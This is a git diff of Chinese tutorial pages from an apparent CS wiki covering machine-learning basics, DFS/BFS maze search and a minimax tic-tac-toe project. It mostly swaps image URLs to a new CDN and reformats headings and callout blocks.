当你使用一个机器学习算法库来解决实际问题时,这些都已经为你准备好了。但清楚背后的原理依然是有用的。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2xlALHL53uUMXSHjloWiOe.jpg) +![](https://cdn.xyxsw.site/boxcn2xlALHL53uUMXSHjloWiOe.jpg) 枚举法 @@ -204,13 +203,13 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 不过幸运的是,有很多办法来处理这种情况。有许多机器学习算法可以处理非线性数据。除此之外,灵活使用线性回归也能拟合更复杂的线条。在所有的情况下,寻找最优权重这一基本思路依然适用。 -如果你还是无法理解,你可以将 cost 类比为你出错误的程度,而数学科学家找到各种方法来降低这种程度,当程度降到最低时,我们就可以知道我们要求的数值了 +**如果你还是无法理解,你可以将 cost 类比为你出错误的程度,而数学科学家找到各种方法来降低这种程度,当程度降到最低时,我们就可以知道我们要求的数值了** 另外,我忽略了过拟合(overfitting)的概念。得到一组能完美预测原始数据集中房价的权重组很简单,但用这组权重组来预测原始数据集之外的任何新房屋其实都不怎么准确。这也是有许多解决办法的(如[正则化](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Regularization_%2528mathematics%2529%23Regularization_in_statistics_and_machine_learning)以及使用[交叉验证](https://link.zhihu.com/?target=http%3A//en.wikipedia.org/wiki/Cross-validation_%2528statistics%2529)的数据集)。学习如何应对这一问题,是学习如何成功应用机器学习技术的重点之一。 换言之,尽管基本概念非常简单,要通过机器学习得到有用的结果还是需要一些技巧和经验的。但是,这是每个开发者都能学会的技巧。 -# 更为智能的预测 +## 更为智能的预测 我们通过上一次的函数假设已经得到了一些值。 @@ -225,25 +224,25 @@ def estimate_house_sales_price(num_of_bedrooms, sqft, neighborhood): 我们换一个好看的形式给他展示 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) +![](https://cdn.xyxsw.site/boxcnhbR6lGSXd6UAEpRvSIYSHg.png) -箭头头表示了函数中的权重。 +*箭头头表示了函数中的权重。* -然而,这个算法仅仅能用于处理一些简单的问题,就是那些输入和输出有着线性关系的问题。但如果真实价格和决定因素的关系并不是如此简单,那我们该怎么办? 比如说,地段对于大户型和小户型的房屋有很大影响,然而对中等户型的房屋并没有太大影响。那我们该怎么在我们的模型中收集这种复杂的信息呢? +然而,这个算法仅仅能用于处理一些简单的问题,就是那些输入和输出有着线性关系的问题。但如果真实价格和决定因素的关系并不是如此简单,那我们该怎么办?比如说,地段对于大户型和小户型的房屋有很大影响,然而对中等户型的房屋并没有太大影响。那我们该怎么在我们的模型中收集这种复杂的信息呢? 所以为了更加的智能化,我们可以利用不同的权重来多次运行这个算法,收集各种不同情况下的估价。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) +![](https://cdn.xyxsw.site/boxcnpDPWKnB6x4fQmGpyvLQJLf.png) 然后我们把四种整合到一起,就得到一个超级答案 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnplbH8Ot0U6cuLHStDmXyze.png) +![](https://cdn.xyxsw.site/boxcnplbH8Ot0U6cuLHStDmXyze.png) 这样我们相当于得到了更为准确的答案 -# 神经网络是什么 +## 神经网络是什么 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhLjMMdts91f8gcpgSVE8Ed.png) +![](https://cdn.xyxsw.site/boxcnhLjMMdts91f8gcpgSVE8Ed.png) 我们把四个超级网络的结合图整体画出来,其实这就是个超级简单的神经网络,虽然我们省略了很多的内容,但是他仍然有了一定的拟合能力 @@ -272,7 +271,7 @@ class LinearModel(torch.nn.Module): y_pred=self.linear(x) return y_pred ''' -线性模型所必须的前馈传播,即wx+b +线性模型所必须的前馈传播,即 wx+b ''' model=LinearModel() @@ -299,36 +298,38 @@ y_test=model(x_test) print('y_pred=',y_test.data) ``` -# 由浅入深(不会涉及代码) +## 由浅入深(不会涉及代码) -# 为什么不教我写代码? +::: warning 😇 为什么不教我写代码? 因为你可能看这些基础知识感觉很轻松毫无压力,但是倘若附上很多代码,会一瞬间拉高这里的难度,虽然仅仅只是调包。 但是我还是会在上面贴上一点代码,但不会有很详细的讲解,因为很多都是调包,没什么好说的,如果你完全零基础,忽略这部分内容即可 +::: + 我们尝试做一个神奇的工作,那就是用神经网络来识别一下手写数字,听上去非常不可思议,但是我要提前说的一点是,图像也不过是数据的组合,每一张图片有不同程度的像素值,如果我们把每一个像素值都当成神经网络的输入值,然后经过一个黑盒,让他识别出一个他认为可能的数字,然后进行纠正即可。 机器学习只有在你拥有数据(最好是大量数据)的情况下,才能有效。所以,我们需要有大量的手写「8」来开始我们的尝试。幸运的是,恰好有研究人员建立了 [MNIST 手写数字数据库](https://link.zhihu.com/?target=http%3A//yann.lecun.com/exdb/mnist/),它能助我们一臂之力。MNIST 提供了 60,000 张手写数字的图片,每张图片分辨率为 18×18。即有这么多的数据。 ```python (X_train, y_train), (X_test, y_test) = mnist.load_data() -#这段是导入minist的方法,但是你看不到,如果你想看到的话需要其他操作 +#这段是导入 minist 的方法,但是你看不到,如果你想看到的话需要其他操作 ``` 我们试着只识别一个数字 8 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnOvoCMEuaMIpKZkfoFLDitf.png) +![](https://cdn.xyxsw.site/boxcnOvoCMEuaMIpKZkfoFLDitf.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZQnrltieoJ93DT79pyX45e.png) +![](https://cdn.xyxsw.site/boxcnZQnrltieoJ93DT79pyX45e.png) 我们把一幅 18×18 像素的图片当成一串含有 324 个数字的数组,就可以把它输入到我们的神经网络里面了: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) +![](https://cdn.xyxsw.site/boxcnZ6bzfOUDQgPAJrKI7Pp3Yc.png) 为了更好地操控我们的输入数据,我们把神经网络的输入节点扩大到 324 个: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnha4DXsSfAUIYbCQqAx6QKd.png) +![](https://cdn.xyxsw.site/boxcnha4DXsSfAUIYbCQqAx6QKd.png) 请注意,我们的神经网络现在有了两个输出(而不仅仅是一个房子的价格)。第一个输出会预测图片是「8」的概率,而第二个则输出不是「8」的概率。概括地说,我们就可以依靠多种不同的输出,利用神经网络把要识别的物品进行分组。 @@ -345,17 +346,17 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 现在唯一要做的就是用各种「8」和非「8」的图片来训练我们的神经网络了。当我们喂给神经网络一个「8」的时候,我们会告诉它是「8」的概率是 100% ,而不是「8」的概率是 0%,反之亦然。 -# 仅此而已吗 +## 仅此而已吗 当数字并不是正好在图片中央的时候,我们的识别器就完全不工作了。一点点的位移我们的识别器就掀桌子不干了 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnShOBEoOhsJLR6L5xyr7INb.png) +![](https://cdn.xyxsw.site/boxcnShOBEoOhsJLR6L5xyr7INb.png) 这是因为我们的网络只学习到了正中央的「8」。它并不知道那些偏离中心的「8」长什么样子。它仅仅知道中间是「8」的图片规律。 在真实世界中,这种识别器好像并没什么卵用。真实世界的问题永远不会如此轻松简单。所以,我们需要知道,当「8」不在图片正中时,怎么才能让我们的神经网络识别它。 -## 暴力方法:更多的数据和更深的网络 +### 暴力方法:更多的数据和更深的网络 他不能识别靠左靠右的数据?我们都给他!给他任何位置的图片! @@ -365,19 +366,19 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 当然,你同时也需要更强的拟合能力和更深的网络。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) +![](https://cdn.xyxsw.site/boxcnLwoxR6OC3ZBxqtMcKg4v6b.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnIcHcRF34F6jJgTRvhyAevc.png) +![](https://cdn.xyxsw.site/boxcnIcHcRF34F6jJgTRvhyAevc.png) 一层一层堆叠起来,这种方法很早就出现了。 -## 更好的方法? +### 更好的方法? 你可以通过卷积神经网络进行进一步的处理 作为人类,你能够直观地感知到图片中存在某种层级(hierarchy)或者是概念结构(conceptual structure)。比如说,你在看 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcndjXp5ayczwemklMk9ZA3ig.jpg) +![](https://cdn.xyxsw.site/boxcndjXp5ayczwemklMk9ZA3ig.jpg) 你会快速的辨认出一匹马,一个人。 @@ -387,25 +388,25 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 有人对此做过研究,人的眼睛可能会逐步判断一个物体的信息,比如说你看到一张图片,你会先看颜色,然后看纹理然后再看整体,那么我们需要一种操作来模拟这个过程,我们管这种操作叫卷积操作。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) +![](https://cdn.xyxsw.site/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png) -## 卷积是如何工作的 +### 卷积是如何工作的 -之前我们提到过,我们可以把一整张图片当做一串数字输入到神经网络里面。不同的是,这次我们会利用平移不变性的概念来把这件事做得更智能。 +之前我们提到过,我们可以把一整张图片当做一串数字输入到神经网络里面。不同的是,这次我们会利用**平移不变性**的概念来把这件事做得更智能。 当然也有最新研究说卷积不具备平移不变性,但是我这里使用这个概念是为了大伙更好的理解,举个例子:你将 8 无论放在左上角还是左下角都改变不了他是 8 的事实 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHo4tt4wmnC7sUykRPPLKmm.png) +![](https://cdn.xyxsw.site/boxcnHo4tt4wmnC7sUykRPPLKmm.png) -我们将一张图像分成这么多个小块,然后输入神经网络中的是一个小块。每次判断一张小图块。 +我们将一张图像分成这么多个小块,然后输入神经网络中的是一个小块。*每次判断一张小图块。* 然而,有一个非常重要的不同:对于每个小图块,我们会使用同样的神经网络权重。换一句话来说,我们平等对待每一个小图块。如果哪个小图块有任何异常出现,我们就认为这个图块是「异常」 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnCxlvaanbzweMmeCOsp1xKf.png) +![](https://cdn.xyxsw.site/boxcnCxlvaanbzweMmeCOsp1xKf.png) 换一句话来说,我们从一整张图片开始,最后得到一个稍小一点的数组,里面存储着我们图片中的哪一部分有异常。 -## 池化层 +### 池化层 图像可能特别大。比如说 1024*1024 再来个颜色 RGB @@ -413,7 +414,7 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 让我们先来看每个 2×2 的方阵数组,并且留下最大的数: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnquKepO4wJ74KfNIy3LtqVg.png) +![](https://cdn.xyxsw.site/boxcnquKepO4wJ74KfNIy3LtqVg.png) 每一波我们只保留一个数,这样就大大减少了图片的计算量了。 @@ -429,13 +430,13 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 我们也要感谢显卡,这项技术早就出现了但是一直算不了,有了显卡让这件事成为了可能。 -## 作出预测 +### 作出预测 到现在为止,我们已经把一个很大的图片缩减到了一个相对较小的数组。 你猜怎么着?数组就是一串数字而已,所以我们我们可以把这个数组输入到另外一个神经网络里面去。最后的这个神经网络会决定这个图片是否匹配。为了区分它和卷积的不同,我们把它称作「全连接」网络 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) +![](https://cdn.xyxsw.site/boxcnDqrUZwXHzgmLR6yvbYSgsV.png) 我们的图片处理管道是一系列的步骤:卷积、最大池化,还有最后的「全连接」网络。 @@ -445,10 +446,10 @@ model.add(Activation('relu'))# 激活函数,你可以理解为加上这个东 比如说,第一个卷积的步骤可能就是尝试去识别尖锐的东西,而第二个卷积步骤则是通过找到的尖锐物体来找鸟类的喙,最后一步是通过鸟喙来识别整只鸟,以此类推。 -# 结语 +## 结语 这篇文章仅仅只是粗略的讲述了一些机器学习的一些基本操作,如果你要更深一步学习的话你可能还需要更多的探索。 -# 参考资料 +## 参考资料 [machine-learning-for-software-engineers/README-zh-CN.md at master · ZuzooVn/machine-learning-for-sof](https://github.com/ZuzooVn/machine-learning-for-software-engineers/blob/master/README-zh-CN.md#%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E6%A6%82%E8%AE%BA) diff --git a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md index d3c0838..8ed0d32 100644 --- a/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md +++ b/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索.md @@ -1,16 +1,15 @@ # 程序示例——maze 迷宫解搜索 + ::: warning 😋 阅读程序中涉及搜索算法的部分,然后运行程序,享受机器自动帮你寻找路径的快乐! 完成习题 ::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: -/4.人工智能/code/MAZE.zip - -# Node +## Node ```python # 节点类 Node @@ -21,7 +20,7 @@ class Node: self.action = action # 存储采取的行动 ``` -## 节点复习: +## 节点复习 - 节点是一种包含以下数据的数据结构: - 状态——state @@ -29,7 +28,7 @@ class Node: - 应用于父级状态以获取当前节点的操作——action - 从初始状态到该节点的路径成本——path cost -# 堆栈边域——DFS +## 堆栈边域——DFS ```python class StackFrontier: # 堆栈边域 @@ -50,11 +49,11 @@ class StackFrontier: # 堆栈边域 return node ``` -## 深度优先搜索复习: +## 深度优先搜索复习 -- 深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” +深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” -# 队列边域——BFS +## 队列边域——BFS ```python class QueueFrontier(StackFrontier): # 队列边域 @@ -67,11 +66,11 @@ class QueueFrontier(StackFrontier): # 队列边域 return node ``` -## 广度优先搜索复习: +## 广度优先搜索复习 -- 广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 +广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 -# 迷宫解——Maze_solution +## 迷宫解——Maze_solution ```python class Maze: @@ -111,7 +110,7 @@ class Maze: # 打印结果 def print(self): ... - # 寻找邻结点,返回元组(动作,坐标(x,y)) + # 寻找邻结点,返回元组 (动作,坐标 (x,y)) def neighbors(self, state): row, col = state candidates = [ @@ -130,8 +129,8 @@ class Maze: self.num_explored = 0 # 已搜索的路径长度 # 将边界初始化为起始位置 start = Node(state=self.start, parent=None, action=None) - frontier = StackFrontier() # 采用DFS - # frontier = QueueFrontier() # 采用BFS + frontier = StackFrontier() # 采用 DFS + # frontier = QueueFrontier() # 采用 BFS frontier.add(start) # 初始化一个空的探索集 self.explored = set() # 存储已搜索的结点 @@ -148,7 +147,7 @@ class Maze: actions = [] cells = [] while node.parent is not None: # 遍历父节点得到路径动作 - actions.append(node.action) + actions.append(node.action) cells.append(node.state) node = node.parent actions.reverse() @@ -166,7 +165,7 @@ class Maze: ... ``` -# Quiz +## Quiz 1. 在深度优先搜索(DFS)和广度优先搜索(BFS)之间,哪一个会在迷宫中找到更短的路径? 1. DFS 将始终找到比 BFS 更短的路径 @@ -176,7 +175,7 @@ class Maze: 5. 两种算法总是能找到相同长度的路径 2. 下面的问题将问你关于下面迷宫的问题。灰色单元格表示墙壁。在这个迷宫上运行了一个搜索算法,找到了从 A 点到 B 点的黄色突出显示的路径。在这样做的过程中,红色突出显示的细胞是探索的状态,但并没有达到目标。 - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) + ![](https://cdn.xyxsw.site/MKtXbfJW3ocWT3xSMK0cwVc4nWf.png) 在讲座中讨论的四种搜索算法中——深度优先搜索、广度优先搜索、曼哈顿距离启发式贪婪最佳优先搜索和曼哈顿距离启发式$A^*$ @@ -190,21 +189,20 @@ class Maze: 7. 可能是四种算法中的任何一种 8. 不可能是四种算法中的任何一种 3. 为什么有深度限制的极大极小算法有时比没有深度限制的极大极小更可取? - 1. 深度受限的极大极小算法可以更快地做出决定,因为它探索的状态更少 - 2. 深度受限的极大极小算法将在没有深度限制的情况下实现与极大极小算法相同的输出,但有时会使用较少的内存 - 3. 深度受限的极大极小算法可以通过不探索已知的次优状态来做出更优化的决策 - 4. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取 -4. 下面的问题将询问您关于下面的 Minimax 树,其中绿色向上箭头表示 MAX 玩家,红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。 + 1. 深度受限的极大极小算法可以更快地做出决定,因为它探索的状态更少 + 2. 深度受限的极大极小算法将在没有深度限制的情况下实现与极大极小算法相同的输出,但有时会使用较少的内存 + 3. 深度受限的极大极小算法可以通过不探索已知的次优状态来做出更优化的决策 + 4. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取 +4. 下面的问题将询问您关于下面的 Minimax 树,其中绿色向上箭头表示 MAX 玩家,红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/UVssbyMxCoEQSuxvjh3caWAFnOb.png) +![](https://cdn.xyxsw.site/UVssbyMxCoEQSuxvjh3caWAFnOb.png) 根节点的值是多少? - -- 2 -- 3 -- 4 -- 5 -- 6 -- 7 -- 8 -- 9 + 1. 2 + 2. 3 + 3. 4 + 4. 5 + 5. 6 + 6. 7 + 7. 8 + 8. 9 diff --git a/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md index 422ad9a..f7db567 100644 --- a/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md +++ b/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md @@ -1,61 +1,64 @@ # 项目:Tic-Tac-Toe 井字棋 -我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 +::: warning 😋 我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 +::: ::: tip 📥 -本节附件下载 +本节附件下载 ::: `pip3 install -r requirements.txt` -# 理解 +## 理解 -- 这个项目有两个主要文件:`runner.py` 和 `tictactoe.py`。`tictactoe.py` 包含了玩游戏和做出最佳动作的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `tictactoe.py` 中所有必需的功能,你就可以运行 `python runner.py` 来对抗你的人工智能了! -- 让我们打开 `tictactoe.py` 来了解所提供的内容。首先,我们定义了三个变量:X、O 和 EMPTY,以表示游戏的可能移动。 -- 函数 `initial_state` 返回游戏的启动状态。对于这个问题,我们选择将游戏状态表示为三个列表的列表(表示棋盘的三行),其中每个内部列表包含三个值,即 X、O 或 EMPTY。以下是我们留给你实现的功能! +这个项目有两个主要文件:`runner.py` 和 `tictactoe.py`。`tictactoe.py` 包含了玩游戏和做出最佳动作的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `tictactoe.py` 中所有必需的功能,你就可以运行 `python runner.py` 来对抗你的人工智能了! -# 说明 +让我们打开 `tictactoe.py` 来了解所提供的内容。首先,我们定义了三个变量:X、O 和 EMPTY,以表示游戏的可能移动。 -- 实现 `player`, `actions`, `result`, `winner`, `terminal`, `utility`, 以及 `minimax`. +函数 `initial_state` 返回游戏的启动状态。对于这个问题,我们选择将游戏状态表示为三个列表的列表(表示棋盘的三行),其中每个内部列表包含三个值,即 X、O 或 EMPTY。以下是我们留给你实现的功能! - - `player` 函数应该以棋盘状态作为输入,并返回轮到哪个玩家(X 或 O)。 +## 说明 - - 在初始游戏状态下,X 获得第一步。随后,玩家交替进行每一个动作。 - - 如果提供结束棋盘状态作为输入(即游戏已经结束),则任何返回值都是可接受的。 - - `actions` 函数应该返回一组在给定的棋盘状态上可以采取的所有可能的操作。 +实现 `player`, `actions`, `result`, `winner`, `terminal`, `utility`, 以及 `minimax`. - - 每个动作都应该表示为元组 `(i,j)`,其中 `i` 对应于移动的行(0、1 或 2),`j` 对应于行中的哪个单元格对应于移动(也是 0、1、或 2)。 - - 可能的移动是棋盘上任何没有 X 或 O 的单元格。 - - 如果提供结束棋盘状态作为输入,则任何返回值都是可接受的。 - - `result` 函数以一个棋盘状态和一个动作作为输入,并且应该返回一个新的棋盘状态,而不修改原始棋盘。 +- `player` 函数应该以棋盘状态作为输入,并返回轮到哪个玩家(X 或 O)。 - - 如果 `action` 函数接受了一个无效的动作,你的程序应该raise an exception. - - 返回的棋盘状态应该是从原始输入棋盘,并让轮到它的玩家在输入动作指示的单元格处移动所产生的棋盘。 - - 重要的是,原始棋盘应该保持不变:因为 Minimax 最终需要在计算过程中考虑许多不同的棋盘状态。这意味着简单地更新棋盘上的单元格本身并不是 `result` 函数的正确实现。在做出任何更改之前,你可能需要先对棋盘状态进行deep copy。 - - `winner` 函数应该接受一个棋盘作为输入,如果游戏结束,则返回游戏的获胜者。 + - 在初始游戏状态下,X 获得第一步。随后,玩家交替进行每一个动作。 + - 如果提供结束棋盘状态作为输入(即游戏已经结束),则任何返回值都是可接受的。 +- `actions` 函数应该返回一组在给定的棋盘状态上可以采取的所有可能的操作。 - - 如果 X 玩家赢得了游戏,函数应该返回 X。如果 O 玩家赢得了比赛,函数应该返回 O。 - - 一个人可以通过水平、垂直或对角连续三次移动赢得比赛。 - - 你可以认为最多会有一个赢家(也就是说,没有一个棋盘会同时有两个玩家连着三个,因为这将是一个无效的棋盘状态)。 - - 如果游戏没有赢家(要么是因为游戏正在进行,要么是因为比赛以平局结束),函数应该返回 `None`。 - - `terminal` 函数应该接受一个棋盘作为输入,并返回一个布尔值,指示游戏是否结束。 + - 每个动作都应该表示为元组 `(i,j)`,其中 `i` 对应于移动的行(0、1 或 2),`j` 对应于行中的哪个单元格对应于移动(也是 0、1、或 2)。 + - 可能的移动是棋盘上任何没有 X 或 O 的单元格。 + - 如果提供结束棋盘状态作为输入,则任何返回值都是可接受的。 +- `result` 函数以一个棋盘状态和一个动作作为输入,并且应该返回一个新的棋盘状态,而不修改原始棋盘。 - - 如果游戏结束,要么是因为有人赢得了游戏,要么是由于所有单元格都已填充而没有人获胜,则函数应返回 `True`。 - - 否则,如果游戏仍在进行中,则函数应返回 `False`。 - - `utility` 函数应接受结束棋盘状态作为输入,并输出该棋盘的分数。 + - 如果 `action` 函数接受了一个无效的动作,你的程序应该raise an exception. + - 返回的棋盘状态应该是从原始输入棋盘,并让轮到它的玩家在输入动作指示的单元格处移动所产生的棋盘。 + - 重要的是,原始棋盘应该保持不变:因为 Minimax 最终需要在计算过程中考虑许多不同的棋盘状态。这意味着简单地更新棋盘上的单元格本身并不是 `result` 函数的正确实现。在做出任何更改之前,你可能需要先对棋盘状态进行deep copy。 +- `winner` 函数应该接受一个棋盘作为输入,如果游戏结束,则返回游戏的获胜者。 - - 如果 X 赢得了比赛,则分数为 1。如果 O 赢得了比赛,则分数为-1。如果比赛以平局结束,则分数为 0。 - - 你可以假设只有当 `terminal(board)` 为 True 时,才会在棋盘上调用 `utility`。 - - `minimax` 函数应该以一个棋盘作为输入,并返回玩家在该棋盘上移动的最佳移动。 + - 如果 X 玩家赢得了游戏,函数应该返回 X。如果 O 玩家赢得了比赛,函数应该返回 O。 + - 一个人可以通过水平、垂直或对角连续三次移动赢得比赛。 + - 你可以认为最多会有一个赢家(也就是说,没有一个棋盘会同时有两个玩家连着三个,因为这将是一个无效的棋盘状态)。 + - 如果游戏没有赢家(要么是因为游戏正在进行,要么是因为比赛以平局结束),函数应该返回 `None`。 +- `terminal` 函数应该接受一个棋盘作为输入,并返回一个布尔值,指示游戏是否结束。 - - 返回的移动应该是最佳动作 `(i,j)`,这是棋盘上允许的动作之一。如果多次移动都是同样最佳的,那么这些移动中的任何一次都是可以接受的。 - - 如果该棋盘是结束棋盘状态,则 `minimax` 函数应返回 `None`。 - - 对于所有接受棋盘作为输入的函数,你可以假设它是一个有效的棋盘(即,它是包含三行的列表,每行都有三个值 X、O 或 EMPTY)。你不应该修改所提供的函数声明(每个函数的参数的顺序或数量)。、 - - 一旦所有功能都得到了正确的实现,你就应该能够运行 `python runner.py` 并与你的人工智能进行比赛。而且,由于井字棋是双方最佳比赛的平局,你永远不应该能够击败人工智能(尽管如果你打得不好,它可能会打败你!) + - 如果游戏结束,要么是因为有人赢得了游戏,要么是由于所有单元格都已填充而没有人获胜,则函数应返回 `True`。 + - 否则,如果游戏仍在进行中,则函数应返回 `False`。 +- `utility` 函数应接受结束棋盘状态作为输入,并输出该棋盘的分数。 -# 提示 + - 如果 X 赢得了比赛,则分数为 1。如果 O 赢得了比赛,则分数为 -1。如果比赛以平局结束,则分数为 0。 + - 你可以假设只有当 `terminal(board)` 为 True 时,才会在棋盘上调用 `utility`。 +- `minimax` 函数应该以一个棋盘作为输入,并返回玩家在该棋盘上移动的最佳移动。 + + - 返回的移动应该是最佳动作 `(i,j)`,这是棋盘上允许的动作之一。如果多次移动都是同样最佳的,那么这些移动中的任何一次都是可以接受的。 + - 如果该棋盘是结束棋盘状态,则 `minimax` 函数应返回 `None`。 +对于所有接受棋盘作为输入的函数,你可以假设它是一个有效的棋盘(即,它是包含三行的列表,每行都有三个值 X、O 或 EMPTY)。你不应该修改所提供的函数声明(每个函数的参数的顺序或数量)。、 +一旦所有功能都得到了正确的实现,你就应该能够运行 `python runner.py` 并与你的人工智能进行比赛。而且,由于井字棋是双方最佳比赛的平局,你永远不应该能够击败人工智能(尽管如果你打得不好,它可能会打败你!) + +## 提示 - 如果你想在不同的 Python 文件中测试你的函数,你可以用类似于 `from tictactoe import initial_state` 的代码来导入它们。 - 欢迎在 `tictactoe.py` 中添加其他辅助函数,前提是它们的名称不会与模块中已有的函数或变量名称冲突。 diff --git a/4.人工智能/4.3.1搜索.md b/4.人工智能/4.3.1搜索.md index de60c51..e9f18a8 100644 --- a/4.人工智能/4.3.1搜索.md +++ b/4.人工智能/4.3.1搜索.md @@ -1,16 +1,18 @@ # 搜索 -在我们日常生活中,其实有非常多的地方使用了所谓的 AI 算法,只是我们通常没有察觉。 +::: warning 😅 在我们日常生活中,其实有非常多的地方使用了所谓的 AI 算法,只是我们通常没有察觉。 比如美团的外卖程序里面,可以看到外卖员到达你所在的位置的路线,它是如何规划出相关路线的呢? 在我们和电脑下围棋下五子棋的时候,他是如何“思考”的呢?希望你在阅读完本章内容之后,可以有一个最基本的理解。并且,我们还会给你留下一个井字棋的小任务,可以让你的电脑和你下井字棋,是不是很 cool 让我们现在开始吧! +::: -# 基本定义 +## 基本定义 -也许第一次看会觉得云里雾里,没有必要全部记住所有的概念。可以先大致浏览一遍之后,再后续的代码中与概念进行结合,相信你会有更深入的理解 +::: warning 🤔 也许第一次看会觉得云里雾里,没有必要全部记住所有的概念。可以先大致浏览一遍之后,再后续的代码中与概念进行结合,相信你会有更深入的理解 +::: > 即检索存储在某个[数据结构](https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)中的信息,或者在问题域的搜索空间中计算的信息。 --wiki @@ -18,140 +20,164 @@ 导航是使用搜索算法的一个典型的搜索,它接收您的当前位置和目的地作为输入,并根据搜索算法返回建议的路径。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Hesobke0ZocH48xGFyocf9Cxntd.png) +![](https://cdn.xyxsw.site/Hesobke0ZocH48xGFyocf9Cxntd.png) 在计算机科学中,还有许多其他形式的搜索问题,比如谜题或迷宫。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/SYw4bOzqAo65PQxZQLucbZAxnHd.png) + + + + + +
